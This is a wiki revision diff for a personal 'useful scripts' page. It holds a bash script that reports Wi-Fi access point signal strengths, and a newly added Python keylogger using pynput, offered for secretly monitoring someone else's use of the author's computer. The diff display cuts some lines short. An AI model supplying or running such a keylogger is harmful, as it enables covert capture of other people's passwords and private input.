Differences
This shows you the differences between two versions of the page.
| Both sides previous revision Previous revision Next revision | Previous revision | ||
| scripts [2023-06-15 00:09] – fixed link to work page asdf | scripts [2023-08-18 18:24] (current) – [Report signal strengths for wireless APs] asdf | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| ====== Useful scripts ====== | ====== Useful scripts ====== | ||
| ===== Report signal strengths for wireless APs ===== | ===== Report signal strengths for wireless APs ===== | ||
| - | Originally developed for use at [[:work:]], it's just as useful in other contexts, so I have reproduced it here. | + | Originally developed for use at [[:work:]], it's just as useful in other contexts, so I have reproduced it here. Requires [[gh> |
| <file bash sigstr.sh> | <file bash sigstr.sh> | ||
| #!/bin/bash | #!/bin/bash | ||
| - | # need some means of selecting $device | + | device=$(ip ad | awk '/ |
| sudo iw $device scan | | sudo iw $device scan | | ||
| awk '/ | awk '/ | ||
| Line 13: | Line 13: | ||
| # | # | ||
| # additionally, | # additionally, | ||
| + | </ | ||
| + | |||
| + | ===== Log keys in Python ===== | ||
| + | Let's say you need to hand your computer over to someone you don't fully trust and want to check on their usage afterward. Requires the [[https:// | ||
| + | |||
| + | <file python klog.py> | ||
| + | from pynput.keyboard import Key, Listener | ||
| + | import logging | ||
| + | |||
| + | logging.basicConfig(filename=(" | ||
| + | |||
| + | def on_press(key): | ||
| + | logging.info(str(key)) | ||
| + | |||
| + | with Listener(on_press=on_press) as listener: | ||
| + | listener.join() | ||
| </ | </ | ||